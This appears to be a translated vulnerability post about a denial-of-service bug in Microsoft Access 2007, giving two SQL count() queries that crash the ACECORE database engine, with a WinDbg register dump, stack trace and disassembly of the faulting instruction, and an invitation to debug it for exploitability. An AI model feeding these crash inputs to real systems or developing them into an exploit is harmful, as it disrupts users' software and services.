One ACCESS DOS

This is very early for about 05 years. It only makes access or msjet40 crash and has no value for use.

If you have time, you can debug it to see if it can be used.

I tried it in access 07 today!

It is mainly about the count (*) statistical function.

 

1. Enter

Select count (*) or select count (*)> 0

If it runs, access will crash! For example.

 

2. Enter

Select count (1, 111111111111)

It will also crash! For example

 

 

There may be other forms...

 

Some stacks and code:

Eax = ffffffff ebx = 00000004 ecx = 00032406 edx = 06aa5374 esi = 06aa54d8 edi = 06aa54dc
Eip = 3423a0f7 esp = 0013da78 ebp = 0013da84 iopl = 0 nv up ei ng nz na pe nc
Cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010286
* ** ERROR: Module load completed but symbols cocould not be loaded for C: \ Program
Files \ Common Files \ Microsoft Shared \ OFFICE12 \ ACECORE. DLL
ACECORE + 0x4a0f7:
3423a0f7 8b08 mov ecx, dword ptr [eax] ds: 0023: ffffffff = ????????
0: 000> kn
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0013da84 3422c06d ACECORE + 0x4a0f7
01 0013dab0 3423a046 ACECORE + 0x3c06d
02 0013dae0 3423 bbae ACECORE + 0x4a046
03 0013dbd0 34234d07 ACECORE + 0x4bbae
04 0013dc28 34253641 ACECORE + 0x44d07
* ** ERROR: Symbol file cocould not be found. Defaulted to export symbols for C: \ P
05 0013dc78 3018a791 ACECORE + 0x63641
06 0013dd84 3018a6dd MSACCESS! JETESLoadProjectTypeLib + 0xaad3d
07 0013 ddbc 3018931f MSACCESS! JETESLoadProjectTypeLib + 0xaac89
08 0013e230 3005a2fe MSACCESS! JETESLoadProjectTypeLib + 0xa98cb
09 0013e310 301d26bc MSACCESS! CreateIExprSrvObj + 0x3aa1e
0a 0013e428 301d305b MSACCESS! JETESLoadProjectTypeLib + 0xf2c68
0b 0013e5b8 301d2fb0 MSACCESS! JETESLoadProjectTypeLib + 0xf3607
0c 0013e704 301d23d3 MSACCESS! JETESLoadProjectTypeLib + 0xf355c
0d 0013e818 30136e4b MSACCESS! JETESLoadProjectTypeLib + 0xf297f
0e 0013e9f8 3013da37 MSACCESS! JETESLoadProjectTypeLib + 0x573f7
0f 0013ea30 304684fe MSACCESS! JETESLoadProjectTypeLib + 0x5dfe3
10 0013ec10 30100e99 MSACCESS! IdsComboFillOfActidIarg + 0x269d8
11 0013ec40 30129969 MSACCESS! JETESLoadProjectTypeLib + 0x21445
12 0013ed6c 3012987a MSACCESS! JETESLoadProjectTypeLib + 0x49f15
13 0013eda4 30129969 MSACCESS! JETESLoadProjectTypeLib + 0x49e26

0: 000> ub
ACECORE + 0x4a0dc:
3423a0dc 0f8570a50000 jne ACECORE + 0x54652 (34244652)
3423a0e2 8d7e04 lea edi, [esi + 4]
3423a0e5 52 push edx
3423a0e6 57 push edi
3423a0e7 ff7508 push dword ptr [ebp + 8]
3423a0ea e86000000 call ACECORE + 0x4a150 (3423a150)
3423a0ef 85c0 test eax, eax
3423a0f1 0f84038e0700 je ACECORE + 0xc2efa (342b2efa)
0: 000> u
ACECORE + 0x4a0f7:
3423a0f7 8b08 mov ecx, dword ptr [eax]
3423a0f9 81f9c8a42334 cmp ecx, offset ACECORE + 0x4a4c8 (3423a4c8)
3423a0ff 740c je ACECORE + 0x4a10d (3423a10d)
3423a101 81f928a42334 cmp ecx, offset ACECORE + 0x4a428 (3423a428)
3423a107 0f851bb60100 jne ACECORE + 0x65728 (34255728)
3423a10d 8b7514 mov esi, dword ptr [ebp + 14 h]
3423a110 8b0e mov ecx, dword ptr [esi]
Missing image name, possible paged-out or Missing upt data.
Missing image name, possible paged-out or Missing upt data.
3423a112 81e102feffff and ecx, 0FFFFFE02h